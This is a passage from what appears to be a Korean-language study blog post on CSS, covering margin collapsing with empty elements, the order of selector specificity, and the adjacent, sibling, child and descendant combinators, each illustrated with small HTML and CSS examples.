이는 개발자 도구로 확인할 필요도 없이 자식 요소 중 첫번째와 마지막 요소의 위 아래 margin이 없는 것을 한 눈에 확인할 수 있다. 단, 부모 요소에 padding이 있거나, 인라인 콘텐츠이거나 또는 테두리가 설정된 경우에는 margin이 상쇄되지 않는다.

CASE 3. margin이 설정된 빈요소

빈 값이 들어가 있는 요소의 경우 margin이 상쇄된다. 다음의 예시를 보자.

  <body>
    <div id="container">
      <div>Filled Div</div>
      <div id="empty-box"></div>
      <div>Filled Div</div>
      <div>Filled Div</div>
    </div>
  </body>

#container {
  background-color: skyblue;
}

#container div {
  margin: 20px;
}

비록 빈값이지만 margin이 주어졌으므로 첫번째 div와 세번재 div 사이의 거리가 더 멀어졌어야 하지만 존재감이 아예 없는 모습이다.

이때 두번째 div에 border나 padding이 존재할 경우 여백 상쇄는 일어나지 않음에 주의하자! (모든 div에 padding 추가시)

첫번째 경우만 익히 들어 알고 있었는데, 그 외의 경우들도 알게 되어 재밌었당 불필요하면서 자잘한 코드들이 발생하지 않도록 잘 익혀두자!

CSS와 우선순위

CSS는 Cascading Style Sheets의 약자로서 웹 페이지의 뼈대가 되는 html의 스타일링 규칙이다. 규칙은 스타일을 주려는 대상과 스타일들을 묶어 표현한다.

 대상 {
     스타일 1: 값1;
    스타일 2: 값2;
 }

여기서 Cascading이란 다양한 규칙(스타일)들이 하나의 element에 적용될 수 있다는 것을 의미한다. 규칙들 간의 충돌을 방지하기 위해 위해 CSS 내의 스타일링 코드들은 다음과 같은 우선순위를 가진다.

CSS 우선순위 (높은순)

• Inline Styles
• #ID 선택자
• .class 혹은 :pseudo-class 와 [attribute] 선택자
• 일반 태그와 ::pseudo-element 선택자
• 브라우저 기본값
• 부모로부터 상속된 스타일

  font와 같은 일부 속성들은 부모 요소의 속성을 기본적으로 상속받음

++ 같은 우선순위에서는, 더 나중에 명시된 스타일이 더 높은 우선순위를 갖는다.

이외에도 *(전체 선택자)를 사용하기도 하는데, 이는 CSS 파싱하는데에 비효율적이라고 한다. 실제로 나는 폰트 설정 등을 할 때는 이를 많이 사용했는데...앞으로는 콘텐츠가 들어있는 body 태그를 활용하도록 하자..!  

Combinators(결합자 or 선택자)

인접 선택자 +

동일한 수준에 있는 형제 요소 중 바로 뒤에 오는 요소만 선택한다.

h2 + p {
      color: red;
}

<div>
    <h2>Not applied</h2>
    <p>CSS applied</p>            <!-- 적용 -->
    <h2>Not applied</h2>
    <h3>Not applied</h3>
    <p>Not applied</p>            <!-- h2와 인접해있지 않아 적용 안됨 -->
    <h2>Not applied</h2>
    <p>CSS applied</p>            <!-- 적용 -->
</div>

형제 선택자 ~

뒤에 있되, 동일한 수준에 있는 형제 요소 모두 선택한다.

  h2 ~ p {
      color: red;
}

  <div> 
      <p>Not applied</p>
      <h2>Not applied</h2>
      <p>CSS applied</p>        <!-- 적용 1-->
      <h2>Not applied</h2>
      <h3>Not applied</h3>
      <p>CSS applied</p>        <!-- 적용 2-->
</div>

• 적용 2 와 같은 경우 인접 결합자(+)를 사용했을 경우에는 h2 태그와 p 태그 사이에 h3 태그가 있으므로 글씨가 빨간색으로 바뀌지 않았을 것이다.

   

자식 선택자 >

• 하위의 직계 자식 요소만을 선택할 때 사용한다.

  div > p {
  color: red;
  }

  <div>
    <div>Not applied</div>
    <p>CSS applied</p>            <!-- 적용 -->
    <div>Not applied</div>
    <article>
        <p>Not applied</p>        <!-- 직계 자식 요소가 아니라 적용 안됨 -->
    </article>
    <p>CSS applied</p>            <!-- 적용 -->
  </div>

   

  후손 선택자 (공백)

• 가장 많이 사용하는 형태로 하위의 모든 자식 요소들 중에서 선택한다.

  div p {
      color: red;
  }

  <div>
    <div>Not applied</div>
    <p>CSS applied</p>            <!-- 적용 -->
    <div>Not applied</div>
    <article>
      <p>CSS applied</p>        <!-- 적용 -->
    </article>
    <p>CSS applied</p>            <!-- 적용 -->
  </div>

결합자를 활용할 구체적으로 요소를 명시할 경우 우선순위가 높아진다.

스타일이 제대로 적용되지 않는다고 우선순위가 높은 inline styling 방식만을 고집하는 개발자는 되지 말자...꼭 덮어쓰는 방식을 서로 고려하여 코드 작성하기